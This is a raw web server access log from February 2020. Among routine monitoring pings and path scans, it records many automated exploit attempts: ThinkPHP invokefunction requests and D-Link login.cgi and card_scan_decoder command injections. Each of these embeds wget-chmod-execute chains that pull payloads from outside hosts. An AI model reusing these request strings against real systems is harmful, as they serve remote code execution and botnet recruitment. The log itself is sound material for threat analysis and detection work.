201.10.12.32 - - [02/Feb/2020:16:11:24 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [02/Feb/2020:16:11:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.113.254.25 - - [02/Feb/2020:16:12:14 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:16:12:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:16:13:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:16:14:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:16:15:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:16:16:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:16:17:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.113.121.141 - - [02/Feb/2020:16:17:32 +0100] "GET /card_scan_decoder.php?No=30&door=%60wget http://switchnets.net/hoho.arm7; chmod 777 hoho.arm7; ./hoho.arm7 linear%60 HTTP/1.1" 400 341 "-" "dark_NeXus_Qbot/4.0 (compatible; MSIE5.01; minerword NT)"
212.91.246.72 - - [02/Feb/2020:16:18:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:16:19:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.156.219.164 - - [02/Feb/2020:16:20:22 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://2.56.8.156/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [02/Feb/2020:16:20:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.81.113.82 - - [02/Feb/2020:16:20:33 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:16:21:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:16:22:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.53.145.66 - - [02/Feb/2020:16:22:35 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:16:23:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
173.76.38.236 - - [02/Feb/2020:16:23:36 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:16:24:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:16:25:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
170.244.188.43 - - [02/Feb/2020:16:26:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [02/Feb/2020:16:26:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.52.191.198 - - [02/Feb/2020:16:27:06 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
178.88.215.138 - - [02/Feb/2020:16:27:14 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:16:27:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
112.72.215.153 - - [02/Feb/2020:16:28:11 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:16:28:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
59.21.46.176 - - [02/Feb/2020:16:28:55 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://packetsbins.000webhostapp.com/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [02/Feb/2020:16:29:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:16:30:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.251.60.124 - - [02/Feb/2020:16:31:05 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:16:31:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:16:32:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.141.152.39 - - [02/Feb/2020:16:33:17 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:16:33:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:16:34:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
113.22.79.73 - - [02/Feb/2020:16:35:01 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
87.103.234.133 - - [02/Feb/2020:16:35:08 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [02/Feb/2020:16:35:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:16:36:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:16:37:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:16:38:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.36.21 - - [02/Feb/2020:16:38:36 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:16:39:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
171.229.252.126 - - [02/Feb/2020:16:39:28 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:16:40:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.53.139.217 - - [02/Feb/2020:16:40:43 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
217.169.94.114 - - [02/Feb/2020:16:41:17 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
212.91.246.72 - - [02/Feb/2020:16:41:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:16:42:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:16:43:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:16:44:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:16:45:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:16:46:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:16:47:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.52.1.208 - - [02/Feb/2020:16:48:02 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
118.71.110.25 - - [02/Feb/2020:16:48:18 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:16:48:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:16:49:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.213.66 - - [02/Feb/2020:16:49:56 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:16:50:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:16:51:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:16:52:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
186.233.102.72 - - [02/Feb/2020:16:52:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [02/Feb/2020:16:53:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:16:54:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:16:55:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.1.153.196 - - [02/Feb/2020:16:55:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [02/Feb/2020:16:56:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:16:57:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:16:58:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:16:59:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:17:00:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:17:01:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
31.146.32.90 - - [02/Feb/2020:17:01:50 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:17:02:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:17:03:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:17:04:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
125.106.23.81 - - [02/Feb/2020:17:04:39 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
45.181.187.164 - - [02/Feb/2020:17:04:57 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [02/Feb/2020:17:05:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:17:06:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:17:07:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:17:08:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:17:09:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:17:10:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
111.91.51.14 - - [02/Feb/2020:17:10:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
119.29.190.69 - - [02/Feb/2020:17:11:14 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
119.29.190.69 - - [02/Feb/2020:17:11:14 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
119.29.190.69 - - [02/Feb/2020:17:11:16 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
119.29.190.69 - - [02/Feb/2020:17:11:16 +0100] "GET /html/public/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
119.29.190.69 - - [02/Feb/2020:17:11:17 +0100] "GET /public/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
119.29.190.69 - - [02/Feb/2020:17:11:17 +0100] "GET /TP/html/public/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
119.29.190.69 - - [02/Feb/2020:17:11:19 +0100] "GET /elrekt.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
119.29.190.69 - - [02/Feb/2020:17:11:19 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
119.29.190.69 - - [02/Feb/2020:17:11:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
212.91.246.72 - - [02/Feb/2020:17:11:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:17:12:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:17:13:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:17:14:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:17:15:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:17:16:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.251.18.10 - - [02/Feb/2020:17:17:01 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:17:17:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
122.228.19.79 - - [02/Feb/2020:17:17:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:47.0) Gecko/20100101 Firefox/47.0"
212.91.246.72 - - [02/Feb/2020:17:18:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:17:19:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:17:20:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:17:21:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
122.228.19.79 - - [02/Feb/2020:17:21:54 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:47.0) Gecko/20100101 Firefox/47.0"
212.91.246.72 - - [02/Feb/2020:17:22:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:17:23:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
151.252.108.189 - - [02/Feb/2020:17:24:08 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:17:24:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:17:25:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
125.59.47.44 - - [02/Feb/2020:17:25:39 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
37.151.86.159 - - [02/Feb/2020:17:25:47 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
95.56.121.77 - - [02/Feb/2020:17:26:20 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:17:26:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.35.163.231 - - [02/Feb/2020:17:26:58 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [02/Feb/2020:17:27:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:17:28:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:17:29:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:17:30:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
180.96.14.25 - - [02/Feb/2020:17:31:02 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
180.96.14.25 - - [02/Feb/2020:17:31:03 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
180.96.14.25 - - [02/Feb/2020:17:31:04 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
180.96.14.25 - - [02/Feb/2020:17:31:04 +0100] "GET /html/public/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
